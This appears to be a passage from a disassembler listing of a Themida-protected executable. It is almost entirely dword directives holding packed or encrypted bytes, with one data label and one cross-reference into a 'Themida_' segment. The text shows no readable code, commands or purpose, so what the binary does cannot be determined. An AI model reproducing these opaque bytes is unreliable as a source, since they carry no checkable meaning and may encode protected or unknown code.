		dd 0B46CFCBDh, 8C441FA0h, 8956E1B8h, 4C681E6h, 83000000h
		dd 348704EEh, 24248B24h, 1DCC68h, 241C8900h, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 7568242Ch, 5B6EE250h
		dd 0A56BC381h, 8B5498FCh, 0C483242Ch, 8BA5204h,	1000000h
		dd 8B1A89EAh, 0C4812414h, 4, 5D2434FFh,	0FF04C483h, 835B2434h
		dd 7E904C4h, 6EFFF9F7h,	0A50BDDECh, 0FC5DB8FBh,	0C50307DEh
		dd 0BA38E0FFh, 43A2128Dh, 0B36C1ADCh, 7A877115h, 0B4DA0997h
		dd 8C0B6853h, 0B2C81415h, 43D27082h, 660963B4h,	63D741CCh
		dd 4E106D18h, 40296E24h, 8EE91833h, 0F4000000h,	4705CB6Ah
		dd 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h, 720095B7h
		dd 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h, 897D60D7h
		dd 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh,	0B99D8993h
		dd 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h, 3C33594Ah
		dd 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh, 0B69F8995h
		dd 97BBEFh, 0C3B1B6D0h,	527155h, 0C20DA437h, 0E0910D3h
		dd 4 dup(0)
		dd 16C8E900h, 3C680000h, 0E907DF00h, 0FFF9F626h, 0DF019E68h
		dd 0F61CE907h, 0F868FFF9h, 0E907DF02h, 0FFF9F612h, 0DF04FF68h
		dd 0F608E907h, 0DE68FFF9h, 0E907DF05h, 0FFF9F5FEh, 0DF069968h
		dd 0F5F4E907h, 7A68FFF9h, 0E907DF07h, 0FFF9F5EAh, 0DF089068h
		dd 0F5E0E907h, 0BF68FFF9h, 0E907DF09h, 0FFF9F5D6h, 0DF0AC968h
		dd 0F5CCE907h, 0FE68FFF9h, 0E907DF0Bh, 0FFF9F5C2h, 0DF0D9F68h
		dd 0F5B8E907h, 2F68FFF9h, 0E907DF11h, 0FFF9F5AEh, 0DF12A068h
		dd 0F5A4E907h, 69FCFFF9h, 0DE8922B7h, 6EFAD122h, 0DD8A21B2h
		dd 6CFDCE23h, 0ED241FB4h, 0C91AD693h, 17AC6402h, 0CD1ED294h
		dd 19AA66FEh, 26263983h, 0DCAE63E8h, 0F736220Ch, 3919A8A7h
		dd 258288E4h, 0BCACA341h, 42A9BD16h, 91324264h,	1FC61BD5h
		dd 0F42505Ch, 4B882BCCh, 0B6785857h, 0CB962C7Fh, 7DBA4843h
		dd 68F96F77h, 0B6992FBEh, 0EEE37CD8h, 919EBE9Dh, 0C29294EAh
		dd 0FDCA1D97h, 0C2C908CEh, 0DFF2C223h, 3FB559ACh, 37372A98h
		dd 0CBA7B54Eh, 91E871C9h, 0DC4C03ADh, 0E2A7B54Eh, 0D80B1C44h
		dd 0CFC1E650h, 77C05F73h, 85D7BC01h, 7847h, 0AF1C8F00h
		dd 0AE6C0030h, 802C2F96h, 9B1F1F32h, 9FC7905Ah,	0A1D1A98Ch
		dd 739A9C1h, 7BD7B573h,	8104A440h, 0A87FCA79h, 585F90E6h
		dd 697408A6h, 90560B1Fh, 30E08247h, 0FBE67E1Ch,	0DC76BC63h
		dd 40F06E5Bh, 758BD624h, 0AD51D0E5h, 8663683Ah,	5EF72104h
		dd 7C1AB71Bh, 3E122AE8h, 9CFB6B19h, 64E47BE6h, 9A5191FDh
		dd 145454FCh, 9ADEF54Dh, 0DE9BB3E9h, 136h, 8F412528h, 90BFF1BBh
		dd 0A9BD1698h, 63E4801Eh, 39FA4A86h, 5EDF73ADh,	48794A86h
		dd 401FC0D0h, 0CA6301CAh, 0B0C4E21Eh, 3D5F5AF2h, 298568B0h
		dd 527B4D3Dh, 0FA6D8365h, 16783646h, 7920113Eh,	0E9F616Fh
		dd 0D227D98Dh, 10D06DF9h, 27AEBEE0h, 76384224h,	865B6E77h
		dd 525024DCh, 83485234h, 689848E5h, 0E4781614h,	29072246h
		dd 609A6548h, 0F1273A04h, 94C71594h, 326DABB7h,	0DAA18DBCh
		dd 9C521109h, 580BB0FAh, 8AEC24C5h, 0EF80DCBAh,	0E9B7F376h
		dd 0DD4B1B76h, 0CA952B28h, 489F4742h, 0CC1C0BE2h, 0F5077BFEh
		dd 0BB201B37h, 0D08ED674h, 9FAF28E1h, 586151C4h, 5ED1288h
		dd 0AFD94692h, 0FFE775CDh, 0D4F3802Eh, 0A3ED8F53h, 36B24B16h
		dd 7B479CFAh, 2CE48445h, 5FCF7A18h, 632C8914h, 4918A9C1h
		dd 0CC0C4697h, 4A1A137Eh, 135A5Fh, 0C47CE900h, 15CB9C2Fh
		dd 0C57BE7C4h, 18C89734h, 0C779E8C3h, 86F83132h, 0F7D425DBh
		dd 8922B769h, 0FBD021DFh, 7824B56Bh, 162B232Eh,	9FCFAE62h
		dd 8C4425E1h, 84D65AFEh, 0D995E289h, 7DD50BD8h,	59974FDCh
		dd 3C3F8E88h, 0A357142Ah, 96B0298h, 0DB88317Fh,	24124D25h
		dd 314ED1B8h, 82ECD5FCh, 0F5724071h, 39096C99h,	361AD690h
		dd 224F6450h, 0A7350D4Fh, 0EB894722h, 173D6C57h, 0BEA48293h
		dd 692D9E07h, 0E132B78h, 4B29C079h, 9E52B0Ch, 2A2BC43Dh
		dd 53000001h, 0D6354C1Ch, 0FE1807FAh, 0FCC03B5Ah, 0A8C4FEC1h
		dd 0C1914F17h, 0E1AF6100h, 7CD808D8h, 0D1C1715Ch, 0E988274Ah
		dd 0D144D275h, 0B2C27EE8h, 0D2FF58F4h, 5261B42Ah, 43CA714h
		dd 51E927BFh, 0D3943503h, 0E084451Dh, 331D0D44h, 3A14E83h
		dd 0EB7B50A1h, 0BBBE2535h, 0A10FA1EFh, 8333BEAEh, 0F762444Eh
		dd 4E833377h, 1518F58h,	77D3D123h, 350AB29Dh, 4D532461h
		dd 0E639B097h, 705F60FBh, 0B77509AFh, 0AC3B8022h, 0EA61D874h
		dd 0EA69F8C2h, 71468204h, 613363BBh, 0E6B6D383h, 90E41CC6h
		dd 52AFAE92h, 7160FE56h, 0F823B1CAh, 0AA37842Eh, 404C7B30h
		dd 0C7E56E1Ch, 414F4DABh, 0A237E978h, 57A85809h, 73BEA17h
		dd 0F842EDFFh, 87000011h, 0FAD122DEh, 8922B769h, 0F9D227D9h
		dd 8625B66Ah, 8FD425DBh, 0C779E85Ah, 15CB9932h,	0C37DE7C4h
		dd 17C99D2Eh, 81D0DAC2h, 0AE621789h, 2543412Dh,	2B404644h
		dd 0CF060659h, 0DABCA9BDh, 5FACA676h, 2FC3DF7h,	3452358Bh
		dd 2BB6039Fh, 0ABC765F5h, 45964A1Ah, 75885C5Dh,	5C3AF6h
		dd 8F41250Ah, 0B66AFABBh, 26DA8625h, 7CB42F9Ch,	422610E0h
		dd 0DA3D687Ah, 804119D6h, 0B972CE4h, 9DA2AAB5h,	5658A9BDh
		dd 2BE31FEh, 0A556347h,	778D81A9h, 92EB5115h, 4DBD648Ch
		dd 4595CAF5h, 82CDC079h, 5390C6E3h, 0CFB77507h,	769FD54Ch
		dd 64E63C2Bh, 4C7D1607h, 127D83FCh, 1F303802h, 5E8784B7h
		dd 7BE27Ah, 0DED4DEACh,	7D02FB73h, 321DFF13h, 137D023Ah
		dd 0BC86DEC0h, 0EF21C506h, 66B86853h, 0DC4174CFh, 717CE1C9h
		dd 9DC0DC40h, 2B3B07DFh, 0F4B31BF6h, 553EFB6h, 0CD8C5327h
		dd 187CD3DDh, 8A03FAF1h, 0D169A741h, 458805E6h,	6B37D73h
		dd 0EB25C15Ch, 9386B189h, 540FBEFFh, 0C941109Ah, 0ED13AFEFh
		dd 76434D2Fh, 852337E9h, 0D470A044h, 9053784Ah,	0A3430460h
		dd 0FCC65C6Dh, 73DE12CFh, 13AFEFFBh, 18E61ACCh,	0F96D3E16h
		dd 3788B647h, 66962C58h, 109EDBh, 88B82D00h, 0D10FD873h
		dd 81BF2B00h, 0D40CDB70h, 83BD2CFFh, 0C23C756Eh, 53D8E927h
		dd 0C5865B95h, 4FDCED23h, 0B4885997h, 14D7570Ah, 0FBEBAE62h
		dd 8F412505h, 555514BBh, 4595144Bh, 228C8EE3h, 41416015h
		dd 0ABFE410h, 7CEDCE75h, 0B1F2B0C4h, 0AB69F937h, 0F1B3418Fh
		dd 0C6E665E0h, 2C9265FCh, 1871EF61h, 20777AC4h,	0D24FCD38h
		dd 0DA72AC8Bh, 0AECB5081h, 0D2604DBBh, 0F903C686h, 0DB77C06Ch
		dd 45119F7Dh, 0A550142h, 75B5C702h, 5752F6B8h, 31EF7B92h
		dd 0ECD7F753h, 6864A750h, 9EF81401h, 4D3829F3h,	0B191C480h
		dd 34E643Eh, 8E47580Bh,	0A133ED7Ch, 0C4836703h,	0E5E1FD73h
		dd 7A436Bh, 3F8B0000h, 5DCD843Ch, 2EA9BD16h, 676F7DB3h
		dd 4B74E0BFh, 1678165Bh, 80ADD58Ch, 30347A7Bh, 0D39F0A59h
		dd 0E1703F7Eh, 380254FFh, 6B7E2129h, 0D2D7D53Ah, 0EFB9DB15h
		dd 13E818CAh, 21DF8A2Fh, 924E5351h, 1FDB065Eh, 0E7B68829h
		dd 0AE8686D9h, 5A3CAF48h, 1720D702h, 6C65A7BEh,	0C9B989BBh
		dd 0AE6202C7h, 30D48E1Dh, 0AB512921h, 0ADCFCD2Bh, 0D40CD6E3h
		dd 64CD5878h, 0B500000Fh, 22703C3Fh, 1649C190h,	696DA9BDh
		dd 1B1823A7h, 6C08A6F3h, 800D7FD2h, 477954BFh, 43C61018h
		dd 3CF4734Dh, 0A35D09AAh, 486E6901h, 0BF876989h, 13F2D192h
		dd 1AFC4AF8h, 85BB2B90h, 5A7B2B3Bh, 16BB9140h, 510CBF53h
		dd 7AD2B4E8h, 5E9252D9h, 0A804470Eh, 4423A81Ah,	0C485B08Ch
		dd 5B91D995h, 902E2108h, 0BF032130h, 56EC7037h,	0AF75F56Ch
		dd 8B89B031h, 0D3A75906h, 3DDF7DD5h, 7F9E4673h,	7B1929E7h
		dd 6303C819h, 33369DADh, 76362977h, 0EF2FB3D3h,	0AEEA6A0Eh
		dd 0BF0E3236h, 4EA6A7B1h, 15659B4Dh, 230E3B17h,	8EFB7DC7h
		dd 8C2E67EFh, 5CFA72DDh, 1E00B765h, 14A6C93Ah, 4D4F9F38h
		dd 921BF880h, 77423288h, 0E97h,	7081BF26h, 3D808DBh, 7388B828h
		dd 4D50BD8h, 7586BA27h,	18C93B6Eh, 0AA3813E8h, 1CC66576h
		dd 0A83C0FE4h, 0EFB96378h, 6212E860h, 24E20EAEh, 3F0AA2BBh
		dd 825FB931h, 62672C21h, 257D0486h, 89444442h, 0F8B957EBh
		dd 3A98B46Ch, 42A8EC0Fh, 3D2919B0h, 90DED5E1h, 0BDBE4FDBh
		dd 0D6302B63h, 26259CB8h, 0DB863C86h, 0A08BF053h, 13ADC567h
		dd 1F806D3Ch, 121FF4CCh, 0E5D4222Ah, 1E515D39h,	10C0A029h
		dd 5153AB34h, 0ED7947h,	0C189BD89h, 0B72FF04Ch,	4418C896h
		dd 18B34866h, 19C0944Ch, 7B404A62h, 822034ECh, 0DF0150EAh
		dd 0C7AEE474h, 0FA92D29Fh, 3A1B16Fh, 1DF3125Bh,	3A12CE9Ch
		dd 20D5FFFh, 8C598829h,	7447EE84h, 9619F47h, 0CF20FE70h
		dd 4599DB3Dh, 0B89C8759h, 4700000Dh, 0BA91629Eh, 49E2F729h
		dd 0B9926799h, 46E5F62Ah, 4F94659Bh, 739A81Ah, 558B59F2h
		dd 33DA784h, 57895DEEh,	41109A82h, 0AE6213C9h, 250301EDh
		dd 0FABB8F41h, 0F7A6B66Ah, 1359DE81h, 5993E02Ch, 674h
		dd 2A3C3FA1h, 0AA5E4059h, 0BFC9AB64h, 93CB8890h, 0F7EE9170h
		dd 0C712B67Eh, 9E1E003Eh, 17A183D3h, 0EDFE32B2h, 40F07455h
		dd 2AC3A324h, 34F282BEh, 0B7D70252h, 2E6873E2h,	4B2D7A0h
		dd 825E6B57h, 31CBF64Eh, 0DAFBD71Bh, 12D1F873h,	0C9F2C0DEh
		dd 0B38DE51Bh, 90EA8D9Ch, 0E812D4C2h, 0B0A1699Eh, 372FE6ACh
		dd 4722A757h, 32DAEB89h, 0BC13CE3Ch, 0CFD01ACh,	0D98C0000h
		dd 6EF9D227h, 0DE8A21B2h, 6DFAD122h, 0DC8D1EB3h, 5D94CF24h
		dd 0F9CA06E3h, 677CB432h, 0FDCE02E4h, 697AB62Eh, 0F676E9D3h
		dd 0CAE6210h, 412526DCh, 6AFABB8Fh, 4425A6B6h, 6CF7B88Ch
		dd 471FA0B4h, 0D57ACE89h, 0D374E89Bh, 0E02C3064h, 5AA7493h
		dd 0BB9E0000h, 0AEBF7CFFh, 42D72D66h, 189BC68Bh, 0A0BE4DC1h
		dd 7A303635h, 0EC53D0Fh, 2886BA2Dh, 0A9253C86h,	0B8D59F0Bh
		dd 1AE1DB20h, 315B8BD6h, 0AE84279Bh, 0A9DD4D04h, 43E1719Dh
		dd 0BDCBC927h, 0A4B868FCh, 0E7D46E06h, 9B30C17Fh, 358B15CBh
		dd 9DA9222Ah, 0FEDB4271h, 0EF9FE6DCh, 644BF9DDh, 5A0157CCh
		dd 33ED773Ch, 9E9811Fh,	15A30742h, 8650244Ah, 0BFAC1A3h
		dd 0A28F0233h, 0D07E6EDAh, 0DAEBA945h, 0EF75A23Ch, 1CF7C2B2h
		dd 0AB00000Ch, 56F5063Ah, 0AD7E538Dh, 5DEE033Dh, 0AA81528Eh
		dd 0F3F0013Fh, 6BA544BEh, 0D917D556h, 6FA14308h, 0DB15D15Ah
		dd 0D58C3606h, 0AE621155h, 1C877D69h, 61F937AFh, 78CC04E0h
		dd 2AAB2FB7h, 3E858FE4h, 82BE2B70h, 0EB415024h,	0F073582Ch
		dd 0BAE405FAh, 3C5AA6A3h, 0FBD26A28h, 93DFB775h, 11CF9B20h
		dd 68F1D41h, 0EE9003D0h, 0AD85B490h, 0CD000004h, 0F937AF1Ch
		dd 0E719C869h, 63B2ADC5h, 0EA931A32h, 28D26FACh, 7BB5319Ah
		dd 0FB6829E7h, 0DB773545h, 0AB56C3EEh, 0D67FFEE9h, 0D6891793h
		dd 4E79E1D8h, 116B7C4Dh, 904C85A7h, 62DA0839h, 441ADBF6h
		dd 6A0275FFh, 0B603AD7Dh, 0C444F32Dh, 0FADB28FAh, 0F4B2401Ch
		dd 8F4125A6h, 3BF5713Ah, 1EA9A027h, 0A1EF8D43h,	0BB02FAEh
		dd 67043697h, 0F0C2C46Bh, 6963E961h, 270F0DF5h,	0D38E4229h
		dd 2D1A3259h, 518F5C5Dh, 94ABEF9h, 59E96FD6h, 8B5DF070h
		dd 85270555h, 0BD1B37F5h, 0C1120EDFh, 6C7C746Dh, 0B06C1h
		dd 20D09500h, 0A96700CBh, 19D79318h, 0AC6403C8h, 1BD59417h
		dd 0EA549DC6h, 9B30C17Fh, 0EDBE13CDh, 9734C57Bh, 0DCC011CFh
		dd 1E8F7FD2h, 4333AE62h, 37AF1C4Dh, 16CA420Dh, 2EF0A9BDh
		dd 461EFC50h, 1B2FE185h, 4616CA9Ah, 9B4CE185h, 92334765h
		dd 2E481CD4h, 493B35DAh, 65232D5h, 1FF459CBh, 0B98AE2D2h
		dd 0A050102Dh, 0D830E3B8h, 0E4C24DB7h, 0BF71F5D6h, 4B7052A3h
		dd 1715659Bh, 2BE0143Bh, 0DD8993E0h, 0A03E9122h, 1A3EDC70h
		dd 4600A65h, 7D5h, 6D1BFD00h, 7B000003h, 64C6FFBBh, 30D46614h
		dd 34EF40Eh, 0B0426E77h, 763635A0h, 135D352Ch, 9B0467DFh
		dd 47F71045h, 5C945079h, 81BF2708h, 0F95133F1h,	0F7947BEh
		dd 0FCBD6BB8h, 9595CC68h, 29B81D69h, 0A331096Bh, 5212B701h
		dd 0F1754D9Eh, 25C5CDDDh, 95B957EBh, 98B45331h,	0AAB55F07h
		dd 0B81D17A2h, 24385658h, 0A4EEBEBDh, 301302ADh, 5F09B22Ah
		dd 5AEA26BEh, 8C8ADABCh, 0BC485B0h, 4AF88C88h, 0F2BE581h
		dd 73D44B24h, 6745B730h, 862AAC96h, 3FEAFA9Fh, 9D7h, 0B041FF66h
		dd 4398481Bh, 0B348F868h, 44954B18h, 0B546FA67h, 58097BAEh
		dd 0EA7853A8h, 5C06A536h, 0E87C4FA4h, 0AFF9A338h, 621FA8A0h
		dd 64224EAEh, 0ACA34125h, 0A9BD16BCh, 78426442h, 0D5D9353h
		dd 24DC8A0Fh, 0DF872848h, 96CF9721h, 84285BFBh,	7E3F0F2Bh
		dd 9C1D2DE3h, 474111CFh, 4E4030EFh, 8C5835DAh, 16A37F54h
		dd 540B954Bh, 0A9BD60D4h, 39102CEAh, 93DFB9B3h,	14F9h
		dd 0AF1C4100h, 0C9411034h, 0EDA9BD16h, 2AF54D2Fh, 248h
		dd 1992BB6Ch, 27C9F0D3h, 0CC497A58h, 8EDEA7DDh,	4605D0F8h
		dd 0C8E68320h, 0FDBEBFC3h, 0C5D3B16Fh, 0A624349Ah, 0BA299267h
		dd 0ABF3EE86h, 0CFD0F09Eh, 0D9F31580h, 0FED97D20h, 4210BFF8h
		dd 8A82CDDBh, 30E09826h, 65F9D66Eh, 14D0F9C7h, 0A04407DCh
		dd 0F675DC70h, 0A375ECB6h, 42E84AE4h, 0E6A989Dh, 0DDD30B36h
		dd 390757E8h, 401CD490h, 13E3F4B2h, 9B600612h, 8CDDEC9h
		dd 895C0000h, 3EA98257h, 8E5AF102h, 3DAA8152h, 8C5DEE03h
		dd 0D447F54h, 0E9FA36B3h, 774C8462h, 0EDFE32B4h, 794A865Eh
		dd 0C64619A3h, 0FCAE621Ch, 412516ECh, 6AFABB8Fh, 4525A6B6h
		dd 69F6B78Bh, 169494CBh, 6C2AA9BDh, 0E93F3A0Ah,	8E1C4A26h
		dd 9E37D9CAh, 77418EC4h, 0BDD260E8h, 0BC9896A9h, 4E167798h
		dd 0E0144192h, 2493DF6Bh, 1Dh, 80B0319Ah, 0FD6D2EECh, 0D9712F43h
		dd 14E1B13h, 22A70000h,	838AB42h, 7CD8D6A6h, 0B483BB76h
		dd 2B3B02F1h, 5DCEFDFh,	0EACFCAF7h, 91B392B6h, 8B37223Ah
		dd 77382F91h, 52898B68h, 0E9D26096h, 30A7C37Dh,	38277139h
		dd 1BB4772Dh, 32434634h, 1F3280CEh, 0D73E432Fh,	0E079D1D3h
		dd 79F16052h, 7DD73E43h, 5FF32DBCh, 4C87E3C1h, 13B84C46h
		dd 911FFD71h, 0CBCF9A1Fh, 3F26AE89h, 8CE8C6E4h,	0E4F52BBBh
		dd 57619F47h, 618CB90Fh, 1BF94987h, 17ACCC33h, 28911B3Bh
		dd 38F686BAh, 6A6A51Ch,	9C540FBCh, 0A872CAC8h, 0CBE07AB9h
		dd 778FE114h, 0E4F387B5h, 9E5BCADEh, 0E3F4B244h, 0A460078Dh
		dd 98D45F91h, 27000007h, 0DA7182BEh, 2902D709h,	0D97287B9h
		dd 2605D60Ah, 6F7485BBh, 0E719C83Ah, 75AB3912h,	0E31DC764h
		dd 77A93D0Eh, 61F0BA62h, 0AE621DE9h, 1C23E10Dh,	8FB832AFh
		dd 32C104E0h, 14126244h, 0FBFF6738h, 0E540CB7Bh, 0A25E0D2Fh
		dd 0D4B2D4D2h, 0E927BF80h, 94B3AB59h, 991268F0h, 12C7F3A5h
		dd 43FD693Ah, 0A551C7AEh, 109793DFh, 0BF000000h, 0E52C4C1Ch
		dd 0E591DACFh, 1EB28Dh,	25D40000h, 0F1BB8F41h, 0DFE41CC8h
		dd 0B273CF01h, 946EFE32h, 6AFA93B4h, 1E7C25B6h,	6000000h
		dd 0BB8F4125h, 0B2D4190h, 389CC8F9h, 9AC77B82h,	0AE21D1F0h
		dd 4205DB0Ah, 94659B4Bh, 8F412582h, 555514BBh, 9254754Bh
		dd 21100E5Eh, 0A9BD1629h, 0C37DECCDh, 0E93F1AFh, 0C9C79B55h
		dd 47B8A771h, 1E097F87h, 36E4BABFh, 0FB057463h,	0F07E9E6Fh
		dd 2D6D8AE8h, 674571BEh, 3CF47059h, 904024A7h, 565615BCh
		dd 9355764Ch, 26DA055Dh, 0BFD554A3h, 5973181Bh,	766F154Ch
		dd 0A593EA7Ch, 0BD8D4324h, 37F583DFh, 50806069h, 11619F4Bh
		dd 5C5D3713h, 75F56C88h, 4D367C94h, 7C940A02h, 0E0EEB036h
		dd 36EA7D3Eh, 0E3814A58h, 0DEC4152Dh, 0AC0D84D4h, 91706CB2h
		dd 7C34A6A6h, 0A2BA5C36h, 39A84521h, 0EBD5A507h, 82CE87Bh
		dd 52BEA25Eh, 510E9334h, 5D1CC39Fh, 2413434Dh, 0D55B5900h
		dd 49876162h, 753F1BF9h, 30E07E4Bh, 0BB5E2914h,	0AC253A35h
		dd 5584B2F0h, 0C319C5FCh, 9E80EE2Bh, 0EA76F951h
		dd 0D45F9149h, 5F7h, 0D021DF86h, 23B868FBh, 0D328D888h
		dd 24B56BF8h, 0D526DA87h, 78E95B8Eh, 0CA9833C8h, 7CE6C516h
		dd 0C89C2FC4h, 0CFD9C318h, 621B8880h, 44422EAEh, 0B3BBA61Ch
		dd 47A9BD16h, 0A83C0D65h, 1CC86378h, 37AF90E4h,	0D9B69F9h
		dd 6D053BACh, 1FC7C689h, 0AFE510E1h, 0F593E02Fh, 75h, 703C3F1Dh
		dd 98912F22h, 53C4C863h, 5543h,	0A86DD1h, 1FAC9610h, 0DBB98947h
		dd 10EDF17Fh, 74A3AD10h, 55764462h, 3535D93h, 89544B27h
		dd 8FE07C06h, 1DE7D452h, 0B8E7417Eh, 4D7C77B3h,	0EA5320B7h
		dd 2E1E317Fh, 0D4F78D38h, 0DF11D1D2h, 98B58D8Bh, 0A1A9B80Ah
		dd 55F78D38h, 0BA2AFB57h, 0CD67586h, 30B580D4h,	9000005h
		dd 10AD4F5Dh, 263EF4B3h, 703C3F70h, 99229022h, 202817C9h
		dd 0D6A9BD16h, 83417CD8h, 0A7B151Eh, 0BC61D9EDh, 2D3B2B15h
		dd 9FD87233h, 0E89AC59Dh, 0D6987C36h, 0B1D90E92h, 6FCB3820h
		dd 52220452h, 273BF571h, 5156F94Dh, 0C308921Ah,	0BC5AEA26h
		dd 54B16A0h, 0A01883CDh, 0FB57EA88h, 22DE8932h,	2C8D1D4Ah
		dd 38F686BAh, 2139F773h, 0D59D4536h, 0FEA02E91h, 0A90178EDh
		dd 0AFFD70DFh, 0F764368Eh, 30E7C4FCh, 550D4621h, 83CB1B08h
		dd 0D6498F34h, 0C1CFAD91h, 0A2B26EF8h, 0A7886804h, 0ACBC063Ah
		dd 6AB47FF7h, 83E155F3h, 9FDD169Eh, 0C99565FDh,	0ACD22F37h
		dd 632858D7h, 6024E307h, 4F0FFF52h, 0F1B3E817h,	4367E259h
		dd 5E925475h, 2B253C06h, 3A23D1DAh, 593AD6DDh, 23BF0C96h
		dd 1A35D0Ah, 53626E69h,	9D959E8Fh, 5F0D5EB9h, 6FCBA1C0h
		dd 14AE43E1h, 0C6BBB39Eh, 5D3F0773h, 70A04405h,	558B5BDCh
		dd 2DE37E4Bh, 92E37F1Dh, 861498D3h, 0DE6EA245h,	35EB7B40h
		dd 51EB8725h, 53B116FEh, 0C1ED1F90h, 0E7D956B3h, 4569C07Fh
		dd 27123833h, 5AAD3027h, 30B8B09Fh, 603E5AADh, 5F0B908Eh
		dd 77D3D1A1h, 2298C04Ah, 2A4B5519h, 2437223Ah, 4DBC12C4h
		dd 0FC471BF9h, 6C889C0h, 0C5947351h, 0CE687761h, 347C1204h
		dd 80CFE1BDh, 65DE0488h, 0D4702Eh, 1994D85Fh, 76D8C77Dh
		dd 4E000000h, 3646FA6Dh, 3F16DC78h, 0A937843Ch,	1640C877h
		dd 0B876A9BDh, 6BF6CCD6h, 0A9BD16E3h, 168484DBh, 5C3AA9BDh
		dd 838A98Ah, 7CD8B674h,	2B8FAFA2h, 64D69BF1h, 0A345FCA6h
		dd 0D73977AEh, 50173FBDh, 44FC68C6h, 61CE7230h,	7FFC6472h
		dd 42283CF8h, 0B14391A9h, 0AD745FF3h, 34BEE83Dh, 0A1740BC6h
		dd 5F357CADh, 86D96AF9h, 68AAD72h, 4AB491C3h, 119h, 8F412574h
		dd 0B16FFABBh, 0D000E2E7h, 0B6C69E7Ch, 0CB9F5115h, 0FCC67AEAh
		dd 56DDD96Ch, 85D76B28h, 30D88048h, 0C011295Bh,	9FC0DA81h
		dd 68F0C200h, 0A2AE9009h, 74F463A5h, 8A3160C1h,	4664B946h
		dd 9DFFDC06h, 4A2E9AC5h, 85D43632h, 9641E113h, 52EB7B40h
		dd 0A085C94h, 10D4576Ch, 86C58CE0h, 42269C26h
dword_68A768	dd 3D68B727h, 312C4879h, 8EF72668h, 165358EFh, 0B415AD31h
					; DATA XREF: Themida_:006057ACo
		dd 0A967FB35h, 0F597A691h, 0DE90DA0Eh, 3F3AAB40h, 0C3931D6Bh
		dd 0F9DDC720h, 0DD4DFC55h, 0A5C71E12h, 1E12B2BAh, 986648C7h
		dd 6DE4BE96h, 1268ABEAh, 0B89D579h, 8CC3ED63h, 821FC99Ch
		dd 8AE88422h, 38CA903Fh, 0FF9D315Fh, 0A75908B1h, 38E87952h
		dd 372C35A7h, 842F4166h, 267h, 20B16FF6h, 0D328D88Bh, 23B868F8h
		dd 0D425DB88h, 25B66AF7h, 0C899EB1Eh, 7AE8C318h, 0CC9635C6h
		dd 78ECBF14h, 1F8933C8h, 62073830h, 0D4B2BEAEh,	94464425h
		dd 3B0A2B1Fh, 0C79B5512h, 0F8C9ABC9h, 6C7DB333h, 703C3FAAh
		dd 0C5362F22h, 0AB1D179Fh, 5CC50331h, 0ADBB0266h, 73D3727Ch
		dd 68B4DCD7h, 8FDF0D51h, 0B1BD0C47h, 0F492906Bh, 75ECD660h
		dd 0EA5150F5h, 508A82CDh, 6E30EA51h, 0BBA6BE60h, 0B085FCECh
		dd 0DAAE6977h, 0E21F0ABCh, 7F7B721Bh, 64F828BCh, 7BCF01E3h
		dd 0D63A480h, 4E3E8BAh,	0BB5C70CCh, 9CC1F87Ch, 1053CC5h
		dd 25860000h, 0F1BB8F41h, 93E719C8h, 16B6B6A9h,	4A4CA9BDh
		dd 0D28F102Ch, 0B3034E1Eh, 1BB0DCCAh, 6C0030AEh, 0C17FEDAEh
		dd 5C57F3B1h, 1DCF95FAh, 9977A899h, 6ABA500h, 7151A25Eh
		dd 12629E48h, 0FF673814h, 0AFAA3141h, 5303ADFBh, 5D7B94BEh
		dd 114C2866h, 0C42EB0ACh, 33DA714h, 0DA16CE6Fh,	52EA8C8Ah
		dd 86E4E367h, 4A301F51h, 7498D933h, 0F2644DE4h,	81D9A014h
		dd 0BF141264h, 59674306h, 6065967h, 0BC18D360h,	3F5782DAh
		dd 0A6C47943h, 0D9E481BAh, 0E38049D9h, 0C92A152Dh, 36182283h
		dd 0AB6503C8h, 0D9BF997h, 0EE033DACh, 0F0718C5Dh, 6568A5Dh
		dd 38F68628h, 544D8956h, 0A3D5A6D9h, 0F618h, 30E08500h
		dd 9957109Bh, 29E78348h, 9C541398h, 2BE58447h, 1A64AD96h
		dd 6B40914Fh, 1DAE43FDh, 6744954Bh, 0CB041FFh, 4BFAFA2h
		dd 3343AE62h, 8C44255Dh, 0C7FB6B37h, 0EC6F44DCh, 0BD29FA52h
		dd 25A86E83h, 0FABB8F41h, 0DFECB66Ah, 0E475CD03h, 0F8C2EA61h
		dd 4C263B69h, 0CD962377h, 9613F13h, 205D42CEh, 0DB873497h
		dd 0C01DFBDFh, 93F18CE8h, 5C89E1BFh, 9694CD6Dh,	17D4F5ECh
		dd 12EA62EDh, 0E10D555h, 263EDC70h, 0C2A021DDh,	3E603E0Eh
		dd 8D2E842Eh, 373722DEh, 8FD55512h, 551248C0h, 1EB06ED5h
		dd 8363E480h, 37AF7C4Dh, 12CA420Dh, 2EF0D555h, 0A7D1FC50h
		dd 2E78E3D1h, 793AD749h, 8BB493BEh, 0BB00CB3Ah,	6A57F32Dh
		dd 8176E270h, 0FA753EA7h, 4F10E480h, 596AA63Eh,	8EDE12D2h
		dd 72023EADh, 404D12E6h, 0D4576CA4h, 0A18CE010h, 3, 253F57E1h
		dd 0FBBC9040h, 24A5B56Bh, 0FDBE8E42h, 20A1B16Fh, 0FABB8F41h
		dd 20A1B16Fh, 0FCBD8D43h, 1FA0B46Ch, 0E1B88C44h, 50E28952h
		dd 4B8h, 58C20100h, 8704EA83h, 685C2414h, 40ECh, 50240489h
		dd 405E089h, 2D000000h,	4, 5C240487h, 51243C89h, 6D7D1668h
		dd 0E9815940h, 388E7EEDh, 242C8151h, 58CE68C5h,	68C50558h
		dd 685958CEh, 643Bh, 81242489h,	42404h,	815F0000h, 4ECh
		dd 240C8900h, 4F89C189h, 3C8B5908h, 0E1895124h,	4C181h
		dd 0C1810000h, 4, 5C240C87h, 5324048Bh,	0C381E389h, 4
		dd 4C381h, 1C870000h, 77E95C24h, 9BFFF9DFh, 0EE580AD2h
		dd 37387EFEh, 5F640DB7h, 0BBB88CC2h, 307DF13h, 28E0FFC5h
		dd 1A044A94h, 20EBABh, 9C796147h, 4E7E40A5h, 18381DC3h
		dd 9B21587Bh, 9E27491Ah, 7E6642B4h, 0D82F082Dh,	355B7A2Bh
		dd 7E5AAAF4h, 8D7C82C6h, 0DF151A8Dh, 9B58B07h, 8907D325h
		dd 0D329418Dh, 0C7CDB307h, 0D32BA185h, 5D0007h,	619D8900h
